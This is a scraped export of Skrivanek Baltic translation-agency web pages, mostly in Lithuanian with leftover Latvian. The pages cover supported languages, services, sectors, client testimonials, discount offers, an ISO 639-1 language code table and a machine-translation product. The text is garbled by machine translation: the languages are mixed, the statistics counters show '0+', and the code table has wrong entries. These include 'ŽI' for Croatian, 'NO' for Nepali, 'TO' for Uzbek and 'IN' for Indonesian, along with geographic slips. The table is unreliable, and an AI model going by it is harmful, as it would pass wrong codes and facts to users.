kalbų kombinacijomis. Susisiekite su mumis: birojs@skrivanek.lv! - Published: 2022-07-13 - Modified: 2025-01-24 - URL: https://skrivanek.lv/?page_id=5 - Translation Priorities: Optional afrikandu aimaru akadiešu albāņu amharu angļu arābu armēņu azerbaidžāņu baltkrievu baškīru bengāļu birmiešu bišlamā bosniešu bulgāru burjatu cvanu čehu čukču dari dāņu dzongke farsi fēru franču grieķu gruzīnu gvaranu hindi holandiešu (flāmu) horvātu igauņu indonēziešu itāļu ivrits īru īslandiešu japāņu katalāņu kazahu kečvu khmeru kiņaruanda kirgīzu ķīniešu komiešu kongu korejiešu kosrājiešu kreoliešu krievu kurdu laosiešu latīņu latviešu lietuviešu maķedoniešu malagasu malajiešu maldīviešu maltiešu marathu moldāvu mongoļu nauruiešu ndebelu nepāliešu njandža (čičevapedi) norvēģu palaviešu pedi (ziemeļsotu) persiešu poļu portugāļu puštu rumāņu rundu samoāņu sanskrits serbu sesoto (dienvidsotu) singāļu slovāku slovēņu somāļu somu spāņu svahili svazu (svatu) šumeru tadžiku tagalu taju tamilu tatāru tibetiešu tigru tongu (tongiešu) turkmēņu turku ukraiņu ungāru urdu uzbeku vācu vendu vjetnamiešu volofu zviedru un citas MŪSŲ KLIENTAMS DAŽNIAUSIAI TEIKIAMOS KALBINĖS PASLAUGOS: specializēti un vispārīgi rakstiskie tulkojumi; steidzami rakstiskie tulkojumi; tulkojumi ar notāra apliecinājumu; lokalizācija; mašīntulkošana ar rediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi; bērnu nometnes ↗; valodu kursi; u. c. NERANDATE NORIMOS KALBOS? REIKIA KONSULTACIJOS? Sazināties RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairūs kalbos deriniai 0+ milj. Išversti žodžiai 2020 m. 0+ Kalbos specialistas 0 ISO sertifikatai SEKTORIAI, KURIUOSE DAŽNIAUSIAI ATLIEKAMI VERTIMAI: Draudimas Statybos Žmogiškieji ištekliai (ŽI) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Jurisprudence Miškininkystė Mechanikos inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklamavimas ir rinkodara Prekyba Turizmas Valstybės ir vietos valdžios institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Vertimo raštu, vertimo žodžiu ir kitos kalbų paslaugos šiuo metu populiariais Europos kalbų deriniais. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/ - Translation Priorities: Optional afrikanų aimarų akadų albanų amharų anglų arabų armėnų azerbaidžaniečių baltarusių baškirų bengalų birmiečių bislama bosnių bulgarų buriatų tsvanų čekų čiukčių dari danų botijų persų farerų prancūzų graikų gruzinų gvaranių hindi olandų (flamandų) kroatų estų indoneziečių italų hebrajų airių islandų japonų katalonų kazachų kečujų khmerų kinijaruandų kirgizų komių kongo korėjiečių kosraės kreolų rusų kurdų kinų laosiečių lotynų latvių lietuvių makedoniečių malagasų malajiečių maldyvų maltiečių marati moldavų mongolų nauriečių ndebelių nepaliečių njandža (čičeva) norvegų palauiečių šiaurės Sotų persų lenkų portugalų puštūnų rumunų rundi samoa sanskritas serbų sesoto sinhalų slovakų slovėnų somalių suomių ispanų svahilių svazių šumerų tadžikų tagalų tajų tamilų totorių tibetiečių tigrų tongiečių turkmenų turkų ukrainiečių vengrų urdu uzbekų vokiečių vendų vietnamiečių volofų švedų ir kitos MŪSŲ KLIENTAMS DAŽNIAUSIAI TEIKIAMOS KALBINĖS PASLAUGOS: specializuoti ir bendrieji rašytiniai vertimai; skubūs rašytiniai vertimai; notaro patvirtinti vertimai; lokalizacija; mašininis vertimas su redagavimu; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; vertimas žodžiu; kalbų kursai; ir kt. NERANDATE NORIMOS KALBOS? REIKIA KONSULTACIJOS? Susisiekite su mumis RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai SEKTORIAI, KURIUOSE DAŽNIAUSIAI ATLIEKAMI VERTIMAI: Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- - Published: 2022-07-13 - Modified: 2022-08-30 - URL: https://skrivanek.lv/ipasie-piedavajumi/ - Translation Priorities: Optional VERTIMO PASLAUGOS Civilinio proceso metu mokant už vertėjo žodžiu paslaugas pasinaudokite ypatingu pasiūlymu: nuoseklusis vertimas anglų–lietuvių kalbomis arba rusų–lietuvių kalbomis tik 50 eurų už valandą + PVM! Vertimo taisyklingumo sertifikatas su biuro antspaudu – tik 5 eurai + PVM! Jei nereikia notariškai patvirtinto vertimo, siūlome patikrinti vertimo taisyklingumą su biuro antspaudu! Pasiūlymas galioja pirmam egzemplioriui (iki 10 p. ) Club One kortelės turėtojams siūlome 5 % nuolaidą vertimo paslaugoms. ISIC pažymėjimo turėtojams siūlome 10 % nuolaidą vertimui raštu. * *Pasiūlymas galioja privatiems asmenims. Latvijos kurčiųjų draugijos (Latvijas Nedzirdīgo Savienība) nariams, parodžius nario pažymėjimą, siūlome 20 % nuolaidą vertimo paslaugoms su notaro patvirtinimu. Rygos technikos universiteto studento pažymėjimo turėtojams siūlome 7,77 % nuolaidą vertimams su notaro patvirtinimu. Rygiečio kortelės turėtojams siūlome 10 % nuolaidą asmens tapatybės dokumentų (pasas, asmens tapatybės kortelė, gimimo liudijimas) vertimams į latvių, rusų, anglų ir vokiečių kalbas. Nuolaidos nesumuojamos. Klientas turi teisę pasirinkti didžiausią nuolaidą. KALBŲ MOKYMASIS, VAIKŲ STOVYKLOS Mokant už kalbų kursus iškart gaukite 15 % nuolaidą, o jei lankote kursus dviese, kiekvienam skiriama 19 % dydžio nuolaida! Pasiūlymas galioja grupiniams užsienio kalbų kursams su 30 užsiėmimų (išskyrus intensyvius vasaros kursus). 50 % nuolaida už kursus darbo dienomis galioja, kai mokama už visą kursą iškart. Pasiūlymas galioja grupiniams užsienio kalbų kursams su 30 užsiėmimų (išskyrus intensyvius vasaros kursus), grupėje yra iki 12 mokinių. Lankant individualius užsienio kalbos kursus dviese, mokėkite tik už vieną. Turibos aukštosios mokyklos studentams ir absolvento kortelės turėtojams siūlome 7,77 % nuolaidą individualiems užsienio kalbos kursams ir 7,77 % nuolaidą grupiniams vokiečių, prancūzų ir rusų kalbos kursų užsiėmimams. Amerikos prekybos ir pramonės rūmų Latvijoje (The American Chamber of Commerce in Latvia) nariams siūlome 5 % nuolaidą visiems „Skrivanek Baltic“ organizuojamiems kalbų kursams. Latvijos prekybos ir pramonės rūmų (Latvijas Tirdzniecības un rūpniecības kamera) nariams trečią grupinį seminarą užsiėmimą siūlome nemokamai. Club One kortelės turėtojams siūlome 10 % nuolaidą visiems „Skrivanek Baltic“ organizuojamiems kalbų kursams ir vaikų anglų kalbos užsiėmimams, kurie vyksta kiekvieną šeštadienį „Skrivanek Baltic“ patalpose. Rygos technikos universiteto studento pažymėjimo turėtojams siūlome 5 % nuolaidą visiems „Skrivanek Baltic“ organizuojamiems kalbų kursams. Latvijos Garbės šeimos pažymėjimo „Goda ģimene“ ir „3+ Ģimenes karte“ turėtojams galioja 5 % nuolaida pilnos pamainos stovyklai „Riga Fun“ ir 10 % nuolaida nepilnos pamainos vaikų stovykloms. ISIC pažymėjimo turėtojams siūlome 20 % nuolaidą grupiniams anglų kalbos kursams, kurie vyksta vakare darbo dienomis ir šeštadieniais. Nuolaidos nesumuojamos ir taikomos pradinei kurso kainai, apmokamai vienu mokėjimu. REIKIA VERTIMO? IEŠKOTE KALBOS PAMOKŲ ARBA JUMS REIKIA PATARIMO? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekite su mumis --- - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/valodu-kodi/ - Translation Priorities: Optional ISO 639-1 kalbų kodai reiškia pagrindinių pasaulio kalbų pavadinimus. Tai terminologijos, lingvistikos, vertimo ir dokumentavimo, leksikografijos ir informacijos tikslais sukurti kalbos identifikatoriai. Kodą skiria Vienoje (Austrija) įsikūręs Tarptautinis terminologijos informacijos centras (The International Information Centre for Terminology) Infoterm. KALBOS KODAS (ISO 639-1) KALBOS PAVADINIMAS LIETUVIŲ KALBA ŠALYS IR TERITORIJOS, KURIOSE KALBAMA ŠIA KALBA. AA Afarų kalba Džibučio Respublika, Eritrėja, Etiopijos Federacinė Demokratinė Respublika AB Abchazų kalba Abchazija (Gruzija) AE Avestos kalba Irano Islamo Respublika AF Afrikanų kalba Pietų Afrikos Respublika, Namibijos Respublika AK Akanų kalba Ganos Respublika, Rytų Dramblio Kaulo Kranto Respublika AM Amharų kalba Etiopijos Federacinė Demokratinė Respublika AN Aragoniečių kalba Aragonas (Ispanijos Karalystė) AR Arabų kalba Alžyro Liaudies Demokratinė Respublika, Bahreino Karalystė, Jemeno Respublika, Jordanijos Hašimitų Karalystė, Jungtiniai Arabų Emyratai, Kuveitas, Libijos Arabų Socialistinė Liaudies Džamahirija, Maroko Karalystė, Omano Sultonatas, Kataras, Saudo Arabijos Karalystė, Sudano Respublika, Tuniso Sultonatas, Vakarų Sachara AS Asamių kalba Asamas (Indijos Respublika) AV Avarų kalba Šiaurės vakarų Azerbaidžanas (Azerbaidžano Respublika), Dagestano Respublika (Rusijos Federacija) AY Aimarų kalba Aimarų indėnų kalba – į vakarus nuo Bolivijos Respublikos, į šiaurę nuo Čilės Respublikos, į pietus nuo Peru Respublikos AZ Azerbaidžaniečių kalba Azerbaidžano Respublika, Irano Islamo Respublikos šiaurės vakarai BA Baškirų kalba Baškortostano Respublika (Rusijos Federacija) BE Baltarusių kalba Baltarusijos Respublika BG Bulgarų kalba Bulgarijos Respublika BH Biharų kalba Biharas (Indijos Respublika) BI Bislamų kalba Vanuatu Respublika BM Bambarų kalba Burkina Fasas, Dramblio Kaulo Krantas, Senegalas BN Bengalų kalba Asamas ir Vakarų Bengalija (Indijos Respublika), Bangladešo Liaudies Respublika BO Tibetiečių kalba Tibetas (Kinijos Liaudies Respublika) BR Bretonų kalba Bretanė (Prancūzijos Respublika) BS Bosnių kalba Bosnijos ir Hercegovinos Respublika, Juodkalnijos Respublika, Serbijos Respublika CA. Katalonų kalba Andoros Kunigaikštystė, Katalonija (Ispanijos Karalystė) CE Čečėnų kalba Čečėnijos Respublika (Rusijos Federacija) CH Čamorų kalba Jungtinių Amerikos Valstijų Guamo teritorija, Šiaurės Marianų salų sandrauga CO Korsikiečių kalba Korsika (Prancūzijos Respublika), Šiaurės Sardinija (Italijos Respublika) CS Čekų kalba Čekija CU Senoji slavų kalba Pirmoji literatūrinė slavų kalba (Biblijoje ir kituose senovės tekstuose) CV Čiuvašų kalba Čiuvašijos Respublika ir kaimyninės šalys (Rusijos Federacija) CY Velso kalba Velsas (Jungtinė Didžiosios Britanijos ir Šiaurės Airijos Karalystė) DA Danų kalba Danijos Karalystė DE Vokiečių kalba Austrijos Respublika, Belgijos Karalystė, Liuksemburgo Didžioji Hercogystė, Vokietijos Federacinė Respublika, Lichtenšteino Kunigaikštystė, Šveicarijos Konfederacija DV Maldyvų kalba Maldyvų Respublika DZ Botijų kalba Butano Karalystė EE Evų kalba Benino Respublika, Ganos Respublika, Togo Respublika EL Graikų kalba Graikijos Respublika, Kipro Respublika EN Anglų kalba Jungtinės Amerikos Valstijos, Australijos Sandrauga, Pietų Afrikos Respublika, Kanada, Jungtinė Didžiosios Britanijos ir Šiaurės Airijos Karalystė ir kt. kt. EO Esperanto Dirbtinė tarptautinio bendravimo kalba ES Ispanų kalba Ispanijos Karalystė, kelios Pietų Amerikos šalys ET Estų kalba Estijos Respublika EU Baskų kalba Prancūzijos Respublikos pietvakariai, Ispanijos Karalystės centrinė dalis FA Persų kalba Afganistano Islamo Valstybė, Irano Islamo Respublika, Tadžikistano Respublika FF Fulu kalba Kamerūnas, Gambijos Respublika, Gvinėjos Respublika, Gvinėjos Respublika, Senegalo Respublika, Sudano Respublika FI Suomių kalba Suomijos Respublika FJ Fidžų kalba Fidžio Respublika FO Farerų kalba Farerų salos (Danijos Karalystė) FR Prancūzų kalba Belgijos Karalystė, Prancūzijos Respublika, Kanada, Liuksemburgo Didžioji Hercogystė, kelios Afrikos šalys FY Vakarų fryzų kalba Nyderlandų Karalystės šiaurė GA Airių kalba Airija, Jungtinė Didžiosios Britanijos ir Šiaurės Airijos Karalystė GD Gėlų kalba Škotija (Jungtinė Didžiosios Britanijos ir Šiaurės Airijos Karalystė) GL Galisų kalba Galisija (Ispanijos Karalystė), Portugalijos Respublika GN Guaranių kalba Paragvajaus Respublika GU Gudžaratų kalba Gudžaratas ir kitos Indijos Sąjungos teritorijos (Indijos Respublika) GV Meniečių kalba Meno sala (Jungtinė Didžiosios Britanijos ir Šiaurės Airijos Karalystė) HA Hausų kalba Nigerio Respublika, Šiaurės Nigerijos Federacinė Respublika HE Hebrajų kalba, senoji hebrajų kalba Izraelis HI Hindi Indijos Respublikos centras ir šiaurė HO Hirimotu kalba Nepriklausoma Papua Naujosios Gvinėjos valstybė ŽI Kroatų kalba Bosnijos ir Hercegovinos Respublika, Kroatijos Respublika, Juodkalnijos Respublika HT Haičio kalba Haičio Respublika HU Vengrų kalba Vengrijos Respublika HY Armėnų kalba Armėnijos Respublika HZ Hererų kalba Botsvanos Respublika, Namibijos Respublika IA Interlingva Tarptautinė pagalbinė kalba, kurią 1937–1951 m. sukūrė Tarptautinė pagalbinių kalbų asociacija IN Indoneziečių kalba Indonezijos Respublika IE Interlingvė 1922 m. Edgaro de Valo sukurta dirbtinė kalba IG Igbų kalba Nigerijos Federacinė Respublika II Sičuano I kalba Sičuanas (Kinijos Liaudies Respublika) IK Inupiakų kalba Šiaurės ir šiaurės vakarų Aliaska (Jungtinės Amerikos Valstijos) IO Ido 1907 m. sukurta dirbtinė kalba IS Islandų kalba Islandijos Respublika IT Italų kalba Italijos Respublika, San Marino Respublika, Šveicarijos Konfederacija, Vatikano Miesto Valstybė IU Inuitų kalba Šiaurės Kanada JA Japonų kalba Japonija JV Javiečių kalba Javos sala (Indonezijos Respublika) KA Gruzinų kalba Gruzija KG Kongo kalba Angolos Respublika, Kongo Demokratinė Respublika, Kongo Respublika KI Kikujų kalba Kenijos Respublika KJ Kvanų kalba Angolos Respublika, Namibijos Respublika KK Kazachų kalba Kazachstano Respublika, Kirgizijos Respublika, Rusijos Federacija, Ukraina, Uzbekistano Respublika KL Grenlandų kalba Grenlandija (Danijos Respublika) KM Khmerų kalba Kambodžos Karalystė, Vietnamo Socialistinė Respublika KN Kanadų kalba Karnataka (Indijos Respublika) KO Korėjiečių kalba Korėjos Respublika, Korėjos Liaudies Demokratinė Respublika KR Kanurų kalba Čado Respublika, Kamerūno Respublika, Nigerio Respublika, Nigerijos Federacinė Respublika KS Kašmyrų kalba Džamu ir Kašmyras (Indijos Respublika), Pakistano Islamo Respublika KU Kurdų kalba Šiaurės Irako Respublika, Šiaurės Vakarų Irano Islamo Respublika, Pietryčių Turkijos Respublika KV Komių kalba Komi Respublika (Rusijos Federacija) KW Kornvalio kalba Kornvalis (Jungtinė Karalystė) KY Kirgizų kalba Kirgizijos Respublika LA Lotynų kalba Vatikano miesto valstybė, oficiali Romos katalikų bažnyčios kalba. Šiuo metu lotynų kalba vartojama biologijoje, medicinoje ir kt. kt. kaip tarptautiniu mastu suprantama mokslinių terminų kalba. LB Liuksemburgiečių kalba Liuksemburgo Didžioji Hercogystė LG Gandų kalba Pietryčių Uganda (Ugandos Respublika) LI Limburgiečių kalba Belgijos Karalystė, siena su Nyderlandais (Nyderlandų Karalystė), Vokietijos Federacinė Respublika LN Lingala Kongo Demokratinė Respublika, Kongo Respublika LO Laosiečių kalba Laoso Liaudies Demokratinė Respublika, Tailando Karalystė LT Lietuvių kalba Lietuvos Respublika LU Lubakatanga Kongo Demokratinė Respublika LV Latvių kalba Latvijos Respublika MG Malagasių kalba Madagaskaro Respublika MH Maršaliečių kalba Maršalo Salų Respublika, Nauru Respublika MI Maorių kalba Naujoji Zelandija MK Makedoniečių kalba Makedonijos Respublika ML Malajalių kalba Kerala (Indijos Respublika) MN Mongolų kalba Mongolija MO Moldavų kalba Moldovos Respublika MR Marathų kalba Maharaštra (Indijos Respublika) MS Malajų kalba Rytų Timoras, Brunėjus Darusalamas, Indonezijos Respublika, Malaizijos Federacija, Singapūro Respublika MT Maltiečių kalba Maltos Respublika MY Birmiečių kalba Mianmaro Sąjunga NA Nauriečių kalba Nauru Respublika NB Norvegų bukmolo kalba Viena iš dviejų norvegų rašto formų Norvegijos Karalystėje, paremta danų kalbos žodynu ir gramatika, o norvegų kalbos fonetika. ND Šiaurės Andų kalba Zimbabvės Respublika NO Nepaliečių kalba Butano Karalystė, Indijos Respublika, Mianmaro Sąjunga, Nepalo Karalystė NG Ndongų kalba Pietų Angola (Angolos Respublika), Namibijos Respublika NL Olandų kalba Belgijos Karalystė, Nyderlandų Karalystė NN Norvegų niunoško kalba Viena iš dviejų Norvegijos karalystės norvegų kalbos rašto formų, kurią XIX a. 6-ajame dešimtmetyje sukūrė kalbininkas Ivaras Osenas, sintetindamas norvegų kalbos tarmes. NO Norvegų kalba Norvegijos Karalystė NR Ndebelių kalba Pietų Afrikos Respublika NV Navahų kalba Navajo indėnai (Jungtinės Amerikos Valstijos) NY Čičeva Malavio Respublika, Centrinė ir Pietų Afrika OC Oksitanų kalba Prancūzijos Respublikos pietinė dalis OJ Odžibvės kalba Jungtinės Amerikos Valstijos, Kanada OM Oromų kalba Etiopijos Federacinė Demokratinė Respublika, Kenijos Respublika OR Orijų kalba Orisa (Indijos Respublika) OS Osetinų kalba Gruzija, Rusijos Federacija PA Pandžabų kalba Indijos Respublika, Pakistano Islamo Respublika PI Pali kalba Literatūrinė ir liturginė kalba Indijos Respublikoje PL Lenkų kalba Lenkijos Respublika PS Puštūnų kalba Afganistano Islamo valstybė, Šiaurės Vakarų Pakistano Islamo Respublika PT Portugalų kalba Angolos Respublika, Rytų Timoras, Brazilijos Federacinė Respublika, Pusiaujo Gvinėja, Mozambiko Respublika, Portugalijos Respublika ir kt. QU Kečujų kalba Argentinos Respublika, Bolivijos Respublika, Čilės Respublika, Ekvadoro Respublika, Kolumbijos Respublika, Peru Respublika, Čilės Respublika RM Romėnų kalba Šveicarijos Konfederacija RN Rundi kalba Burundžio Respublika, Kongo Demokratinė Respublika, Tanzanijos Jungtinė Respublika RO Rumunų kalba Moldovos Respublika, Rumunija RU Rusų kalba Rusijos Federacija RW Kinjaruanda Ruandos Respublika SA Sanskritas Budizmas ir induizmas yra viena iš Indijos Respublikos liturginių kalbų. SC Sardiniečių kalba Sardinija (Italijos Respublika) SD Sindhų kalba Indijos Respublika, Pakistano Islamo Respublika SE Šiaurės samių kalba Norvegijos Karalystės šiaurė, Karelijos Respublika (Rusijos Federacija), Suomijos Respublika, Švedijos Karalystė SG Sangų kalba Centrinės Afrikos Respublika SI Sinhalų kalba Šri Lankos Demokratinė Socialistinė Respublika SK Slovakų kalba Slovakijos Respublika SL Slovėnų kalba Slovėnijos Respublika SM Samojiečių kalba Samoa nepriklausoma valstybė SN Šonų kalba Pietų Zambijos Respublika, Zimbabvės Respublika SO Somalių kalba Džibučio Respublika, Etiopijos Federacinė Demokratinė Respublika, Jemeno Respublika, Kenijos Respublika, Somalio Demokratinė Respublika SQ Albanų kalba Albanijos Respublika, Kosovo Respublika SR Serbų kalba Bosnijos ir Hercegovinos Respublika, Kroatijos Respublika, Juodkalnijos Respublika, Serbijos Respublika SS Svazių kalba Pietų Afrikos Respublika, Esvatinio Karalystė ST Pietų sotų kalba Pietų Afrikos Respublika, Lesoto Karalystė SU Zundų kalba Javos sala (Indonezijos Respublika) SV Švedų kalba Suomijos Respublika, Švedijos Karalystė SW Svahilių kalba Kenijos Respublika, Tanzanijos Jungtinė Respublika, Ugandos Respublika TA Tamilų kalba Indijos Respublika, Singapūro Respublika, Šri Lankos Demokratinė Socialistinė Respublika TE Telugų kalba Indijos Respublika TG Tadžikų kalba Afganistano Islamo Valstybė, Irano Islamo Respublika, Tadžikistano Respublika TH Tajų kalba Kambodžos Karalystė, Malaizijos Šiaurės Federacija, Mianmaro Sąjunga, Lesoto Karalystė, Tailando Karalystė TI Tigrų kalba Eritrėja, Etiopijos Federacinė Demokratinė Respublika TK Turkmėnų kalba Afganistano Islamo Valstybė, Irako Respublika, Irano Islamo Respublika, Turkijos Respublika, Turkmėnistano Respublika TL Tagalų kalba Filipinų Respublika TN Tsvanų kalba Botsvanos Respublika, Pietų Afrikos Respublika TO Tongų kalba Tongos karalystė TR Turkų kalba Kipro Respublika, Turkijos Respublika TS Kongo kalba Pietų Afrikos Respublika, Mozambiko Respublika, Esvatinio Karalystė, Zimbabvės Respublika TT Tatarų kalba Kazachstano Respublika, Kirgizijos Respublika, Ukraina, Uzbekistano Respublika, Tatarstano Respublika (Rusijos Federacija) TW Tvi kalba Ganos Respublika TY Tahitiečių kalba Prancūzijos Polinezijos teritorija UG Uigūrų kalba Kazachstano Respublika, Kirgizijos Respublika, Tadžikistano Respublika, Turkmėnistano Respublika, Uzbekistano Respublika UK Ukrainiečių kalba Ukraina UR Urdų kalba Indijos Respublika, Pakistano Islamo Respublika TO Uzbekų kalba Uzbekistano Respublika VE Vendų kalba Pietų Afrikos Respublika, Zimbabvės Respublika VI Vietnamiečių kalba Vietnamo Socialistinė Respublika VO Volapiukas Dirbtinė kalba, kurią 1879–1880 m. sukūrė vokiečių dvasininkas Johannas Martinas Schleyeris. WO Volofų kalba Gambijos Respublika, Mauritanijos Islamo Respublika, Senegalo Respublika XH Kosų kalba Pietų Afrikos Respublika YI Jidiš Hebrajų kalba, kuria daugiausia kalba žydų diasporos visame pasaulyje, pavyzdžiui, Jungtinėse Amerikos Valstijose, Jungtinėje Didžiosios Britanijos ir Šiaurės Airijos Karalystėje, Rusijos Federacijoje, Švedijos Karalystėje ir kitur YO Jorubų kalba Benino Respublika, Nigerijos Federacinė Respublika, Togas ZA Džuangų kalba Kinijos Liaudies Respublika ZH Kinų kalba Kinijos Liaudies Respublika ZU Zulų kalba Pietų Afrikos Respublika, Malavio Respublika, Mozambiko Respublika, Svazilando Karalystė, Zimbabvės Respublika MŪSŲ KLIENTAMS DAŽNIAUSIAI TEIKIAMOS KALBINĖS PASLAUGOS: specializuoti ir bendrieji rašytiniai vertimai; skubūs rašytiniai vertimai; notaro patvirtintus vertimus; lokalizacija; mašininis vertimas su redagavimu; vertimas žodžiu; teksto adaptavimas ir kūrybiškas tekstų rašymas; DTP – grafinio dizaino paslaugos; vaikų stovyklos; kalbų kursai; ir kt. REIKIA VERTIMO? IEŠKOTE KALBOS PAMOKŲ ARBA JUMS REIKIA PATARIMO? Susisiekite su mumis SEKTORIAI, KURIUOSE DAŽNIAUSIAI ATLIEKAMI VERTIMAI. Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/masintulkosana-uznemumiem/ - Translation Priorities: Optional MAŠININIS VERTIMAS – SKRIVANEK NMT 1 Jums reikia greitai išversti didelės apimties tekstą? Nespėjate pabaigti vertimo projekto nustatytu laiku? Paskirtas vertimo įvykdymo terminas per ilgas? TURIME SPRENDIMĄ – SKRIVANEK NMT Skrivanek NMT sukurta remiantis 25 metų „Skrivanek“ komandos patirtimi ir žiniomis vertimo pramonėje. Mašininis vertėjas veikia panašiai kaip žmogaus smegenų neuronai. Kuriant „Skrivanek NMT“ įrankį dirbo ne tik „Skrivanek“ kalbos specialistai, bet ir mokslininkai bei įvairių sričių ekspertai. SIŪLOME KELIŲ RŪŠIŲ MAŠININĮ VERTIMĄ: mašininis vertimas be postredagavimo; mašininis vertimas su lengvu postredagavimu; mašininis vertimas su išsamiu postredagavimu – vertimas tolygus žmogaus vertimui. Rekomenduojame naudoti mašininį vertimą be postredagavimo, kad per labai trumpą laiką sutaupytumėte laiko ir pinigų verčiant standartinius ir standartizuotus ypač didelės apimties dokumentus. Jei vertimas bus naudojamas bendraujant su klientais, partneriais ar kolegomis, rekomenduojame rinktis automatinį mašininį vertimą su lengvu arba išsamiu postredagavimu, kurį atliktų gimtakalbis asmuo, kuriam vertimo kalba yra gimtoji, arba kurį peržiūrėtų šios srities ekspertas. Visada rekomenduojame patikėti profesionaliems vertėjams ir redaktoriams tekstus ir dokumentus, skirtus publikuoti ar spausdinti, taip pat specializuotus ir sudėtingus pramonės tekstus. KAS YRA POSTREDAGAVIMAS? Postredagavimas – tai automatinio mašininio vertimo peržiūra, kurią atlieka gimtakalbis asmuo. Siūlome dviejų tipų postredagavimą: lengvas postredagavimas – jo tikslas yra pataisyti gramatikos, šiurkščias reikšmės ir stiliaus klaidas. Rezultatas – pakankamai lengvai suvokiamas ir suprantamas 